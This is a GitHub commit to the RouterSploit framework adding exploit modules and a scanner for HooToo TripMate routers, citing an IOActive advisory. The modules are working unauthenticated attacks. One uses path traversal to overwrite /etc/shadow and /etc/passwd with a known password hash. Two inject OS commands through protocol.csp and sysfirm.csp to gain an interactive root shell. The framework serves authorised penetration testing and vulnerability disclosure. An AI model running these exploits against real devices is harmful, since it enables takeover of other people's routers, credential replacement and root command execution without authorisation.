Skip to content

Commit

Permalink
[HooToo] Multiple unauth exploits for TripMate series.
Browse files Browse the repository at this point in the history
  • Loading branch information
DePierre committed Apr 25, 2018
1 parent 5919df7 commit ce7258a
Show file tree
Hide file tree
Showing 5 changed files with 293 additions and 0 deletions.
Empty file.
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
from routersploit import (
exploits,
print_success,
print_status,
print_error,
http_request,
validators,
random_text,
shell,
mute,
)


class Exploit(exploits.Exploit):

"""Exploit implementation for unauthenticated arbitrary file upload in protocol.csp on HooToo TripMate routers."""

__info__ = {
'name': 'HooToo TripMate unauthenticated protocol.csp arbitrary file upload',
'authors': [
'Tao "depierre" Sauvage',
],
'description': 'Module exploits TripMate unauthenticated arbitrary file upload in protocol.csp, '
'to reset root, admin and guest passwords to blank, by overriding /etc/shadow and /etc/passwd '
'on the router.',
'references': [
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
],
'devices': [
'HooToo TripMate HT-TM01, firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046',
'HooToo TripMate Nano HT-TM02, firmware fw-WiFiPort-HooToo-TM02-2.000.072',
'HooToo TripMate Mini HT-TM03, firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016',
'HooToo TripMate Elite HT-TM04, firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008',
'HooToo TripMate Titan HT-TM05, firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080',
'HooToo TripMate Elite U HT-TM06, firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048',
],
}

target = exploits.Option('', 'Target address running ioos, e.g. http://10.10.10.254', validators=validators.url)
port = exploits.Option(81, 'Target port running ioos')

def run(self):
if self.check():
print_success('Target is vulnerable')
print_status('Overriding /etc/shadow')
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
new_shadow = 'root:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15386:0:99999:7:::\n'
new_shadow += 'admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:13341:0:99999:7:::\n'
http_request(method=u'POST', url=url, files={'name': ('../etc/shadow', new_shadow)})
print_status('Overriding /etc/passwd')
new_passwd = 'root:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:0:0:root:/root:/bin/sh\n'
new_passwd += 'bin:x:1:1:bin:/bin:/sbin/nologin\n'
new_passwd += 'daemon:x:2:2:daemon:/sbin:/sbin/nologin\n'
new_passwd += 'admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh\n'
new_passwd += 'mail:*:8:8:mail:/var/mail:/bin/sh\n'
new_passwd += 'nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh\n'
new_passwd += 'guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new\n'
http_request(method=u'POST', url=url, files={'name': ('../etc/passwd', new_passwd)})
print_status('Verifying new password')
response = http_request(
method=u'GET', url=url,
params={'function': 'set', 'fname': 'security', 'opt': 'pwdchk', 'name': 'admin', 'pwd1': ''})
if not response or '<errno>0</errno>' not in response.text:
print_error('Password could not be updated successfully!')
else:
print_success('All passwords have been successfully updated to blank!')
else:
print_error('Target is not vulnerable')

@mute
def check(self):
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
# 1. Create a file in the /www/firwmare/ directory (writeable).
marker = random_text(64)
filename = '/www/firmware/{}'.format(marker)
response = http_request(method=u'POST', url=url, files={'name': ('../{}'.format(filename), marker)})
if not response:
return False
# 2. Check that the file was successfully created>
url_marker = u'{}:{}/firmware/{}'.format(self.target, self.port, marker)
response = http_request(method=u'GET', url=url_marker)
if not response or not response.status_code == 200 or marker not in response.text:
return False
# 3. Clean up the temp file. Not possible with this vuln though, so leaving the marker file on the router.
return True
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
from urllib import quote

from routersploit import (
exploits,
print_success,
print_status,
print_error,
http_request,
validators,
random_text,
shell,
mute,
)


class Exploit(exploits.Exploit):

"""
Exploit implementation for unauthenticated OS command injection vulnerability in protocol.csp open_forwarding on
HooToo TripMate routers.
"""

__info__ = {
'name': 'HooToo TripMate protocol.csp open_forwarding RCE',
'authors': [
'Tao "depierre" Sauvage',
],
'description': 'Module exploits TripMate unauthenticated OS command injection vulnerability in protocol.csp, in'
' function open_forwarding, which allows executing commands on the router with root privileges.',
'references': [
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
],
'devices': [
'HooToo TripMate HT-TM01, firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046',
'HooToo TripMate Nano HT-TM02, firmware fw-WiFiPort-HooToo-TM02-2.000.072',
'HooToo TripMate Mini HT-TM03, firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016',
'HooToo TripMate Elite HT-TM04, firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008',
'HooToo TripMate Titan HT-TM05, firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080',
'HooToo TripMate Elite U HT-TM06, firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048',
],
}

target = exploits.Option('', 'Target address running ioos, e.g. http://10.10.10.254', validators=validators.url)
port = exploits.Option(81, 'Target port running ioos')

def run(self):
if self.check():
print_success('Target is vulnerable')
print_status('Blind command injection - response is not available')
print_status('Possible extraction point:')
print_status('\t- Run "CMD > /www/firmware/routersploit.res"')
print_status('\t- The result of CMD will be available at {}:{}/firmware/routersploit.res'.format(self.target, self.port))
print_status("Invoking command loop (type 'exit' or 'quit' to exit the loop)...")
shell(self, method='generic', architecture='mipsle', location='/tmp/')
else:
print_error('Target is not vulnerable')

def execute(self, cmd):
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
params = self._urlencode_quote({
'function': 'set', 'fname': 'security', 'opt': 'open_forwarding',
'ip': '`{}`'.format(cmd)})
http_request(method=u'GET', url=url, params=params)
return '' # Blind RCE so no response available

def _urlencode_quote(self, params):
"""URL encode parameters using urllib.quote instead of urllib.quote_plus.
Necessary because HooToo ioos binary does not properly handle whitespaces encoded as '+' in URLs. It only
handles whitespaces encoded as '%20'.
"""
return '&'.join('{}={}'.format(quote(key), quote(value)) for key, value in params.items())

@mute
def check(self):
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
# Blind unauth RCE
# 1. Create a file in the /www/firwmare/ directory (writeable).
marker = random_text(64)
params = self._urlencode_quote({
'function': 'set', 'fname': 'security', 'opt': 'open_forwarding',
'ip': '`echo {0} > /www/firmware/{0}`'.format(marker)})
url_with_params = '{}?{}'.format(url, params)
response = http_request(method=u'GET', url=url_with_params)
if not response:
return False
# 2. Check that the file was successfully created>
url_marker = u'{}:{}/firmware/{}'.format(self.target, self.port, marker)
response = http_request(method=u'GET', url=url_marker)
if not response or not response.status_code == 200 or marker not in response.text:
return False
# 3. Clean up the temp file.
params = self._urlencode_quote({
'function': 'set', 'fname': 'security', 'opt': 'open_forwarding',
'ip': '`rm -f /www/firmware/{}`'.format(marker)})
url_with_params = '{}?{}'.format(url, params)
http_request(method=u'GET', url=url_with_params)
return True
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
from routersploit import (
exploits,
print_success,
print_status,
print_error,
http_request,
validators,
random_text,
shell,
mute,
)


class Exploit(exploits.Exploit):

"""Exploit implementation for unauthenticated RCE vulnerability in sysfirm.csp on HooToo TripMate routers."""

__info__ = {
'name': 'HooToo TripMate sysfirm.csp RCE',
'authors': [
'Tao "depierre" Sauvage',
],
'description': 'Module exploits TripMate unauthenticated remote code execution vulnerability in sysfirm.csp, '
'which allows executing commands on the router with root privileges.',
'references': [
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
],
'devices': [
'HooToo TripMate HT-TM01, firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046',
'HooToo TripMate Nano HT-TM02, firmware fw-WiFiPort-HooToo-TM02-2.000.072',
'HooToo TripMate Mini HT-TM03, firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016',
'HooToo TripMate Elite HT-TM04, firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008',
'HooToo TripMate Titan HT-TM05, firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080',
'HooToo TripMate Elite U HT-TM06, firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048',
],
}

target = exploits.Option('', 'Target address running ioos, e.g. http://10.10.10.254', validators=validators.url)
port = exploits.Option(81, 'Target port running ioos')

def run(self):
if self.check():
print_success('Target is vulnerable')
print_status('Blind command injection - response is not available')
print_status('Possible extraction point:')
print_status('\t- Run "CMD > /www/firmware/routersploit.res"')
print_status('\t- The result of CMD will be available at {}:{}/firmware/routersploit.res'.format(self.target, self.port))
print_status("Invoking command loop (type 'exit' or 'quit' to exit the loop)...")
shell(self, method='generic', architecture='mipsle', location='/tmp/')
else:
print_error('Target is not vulnerable')

def execute(self, cmd):
url = u'{}:{}/sysfirm.csp'.format(self.target, self.port)
http_request(method=u'POST', url=url, files={'file': ('foo', cmd), 'fname': (None, 'sysupfileform')})
return '' # Blind RCE so no response available

@mute
def check(self):
url = u'{}:{}/sysfirm.csp'.format(self.target, self.port)
# Blind unauth RCE
# 1. Create a file in the /www/firwmare/ directory (writeable).
marker = random_text(64)
cmd_echo = u'echo {0} > /www/firmware/{0}'.format(marker)
response = http_request(method=u'POST', url=url, files={'file': ('foo', cmd_echo), 'fname': (None, 'sysupfileform')})
if not response:
return False
# 2. Check that the file was successfully created>
url_marker = u'{}:{}/firmware/{}'.format(self.target, self.port, marker)
response = None
# Command run in a thread so it might take a few milliseconds to complete.
for retry in range(5):
response = http_request(method=u'GET', url=url_marker)
if not response:
continue
if response.status_code == 200:
break
if not response or not response.status_code == 200 or marker not in response.text:
return False
# 3. Clean up the temp file.
cmd_rm = u'rm -f /www/firmware/{}'.format(marker)
http_request(method=u'POST', url=url, files={'file': ('foo', cmd_rm), 'fname': (None, 'sysupfileform')})
return True
24 changes: 24 additions & 0 deletions routersploit/modules/scanners/hootoo_scan.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
from __future__ import absolute_import

from .autopwn import Exploit as BaseScanner


class Exploit(BaseScanner):

"""Scanner implementation for HooToo vulnerabilities."""

__info__ = {
'name': 'HooToo Scanner',
'description': 'Scanner module for HooToo routers',
'authors': [
'Tao "depierre" Sauvage',
],
'references': (
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
),
'devices': (
'HooToo TripMate',
),
}
modules = ['routers/hootoo', 'cameras/hootoo', 'misc/hootoo']

0 comments on commit ce7258a

Please sign in to comment.